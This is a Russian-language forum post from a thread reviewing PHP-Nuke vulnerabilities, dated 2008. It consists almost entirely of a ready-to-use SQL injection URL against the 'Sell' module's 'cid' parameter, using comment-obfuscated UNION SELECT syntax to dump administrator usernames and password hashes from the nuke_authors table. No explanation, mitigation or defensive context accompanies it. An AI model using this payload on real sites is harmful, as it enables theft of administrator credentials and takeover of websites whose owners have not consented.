Тема: [ Обзор уязвимостей PHP-Nuke ]
Показать сообщение отдельно

Php Nuke "Sell" module SQL Injection ("cid")
  #12  
Старый 27.02.2008, 17:35
iddqd
Banned
Регистрация: 19.12.2007
Сообщений: 924
Провел на форуме:
4192567

Репутация: 2145


По умолчанию Php Nuke "Sell" module SQL Injection ("cid")
SQL Injection

Exploit:

Код:
modules.php?name=Sell&d_op=viewsell&cid=-
9999999%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/0,
aid,pwd,pwd,4/**/from+nuke_authors/*where%20admin%201%200%202